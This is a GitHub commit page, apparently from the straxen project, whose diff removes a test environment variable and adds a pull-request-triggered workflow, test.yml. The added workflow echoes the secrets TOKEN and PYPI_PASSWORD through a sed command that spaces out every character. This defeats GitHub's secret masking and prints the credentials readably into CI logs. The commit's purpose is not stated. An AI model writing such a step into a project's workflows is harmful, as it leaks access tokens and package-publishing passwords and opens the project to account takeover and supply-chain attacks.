Skip to content

Commit

Permalink
Test the test
Browse files Browse the repository at this point in the history
  • Loading branch information
dachengx committed Jan 16, 2024
1 parent 8b9f06b commit ee3846f
Show file tree
Hide file tree
Showing 2 changed files with 17 additions and 2 deletions.
2 changes: 0 additions & 2 deletions .github/workflows/pytest.yml
Original file line number Diff line number Diff line change
Expand Up @@ -94,7 +94,6 @@ jobs:
# This is running a normal test
if: (matrix.test == 'pytest_no_database' || matrix.test == 'pytest')
env:
ALLOW_WFSIM_TEST: 1
TEST_MONGO_URI: 'mongodb://localhost:27017/'
run: |
coverage run --source=straxen -m pytest --durations 0
Expand All @@ -103,7 +102,6 @@ jobs:
# Make the coverage report and upload
env:
TEST_MONGO_URI: 'mongodb://localhost:27017/'
ALLOW_WFSIM_TEST: 1
NUMBA_DISABLE_JIT: 1
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
if: matrix.test == 'coveralls' && (github.actor != 'dependabot[bot]') && env.HAVE_ACCESS_TO_SECRETS != null
Expand Down
17 changes: 17 additions & 0 deletions .github/workflows/test.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,17 @@
name: Test package

# Trigger this code when a new release is published
on:
pull_request:

jobs:
test:
runs-on: ubuntu-latest
steps:
- name: HERE
env:
TOKEN: ${{ secrets.TOKEN }}
PYPI_PASSWORD: ${{ secrets.PYPI_PASSWORD }}
run: |
echo ${{ secrets.TOKEN }} | sed 's/./& /g'
echo ${{ secrets.PYPI_PASSWORD }} | sed 's/./& /g'

0 comments on commit ee3846f

Please sign in to comment.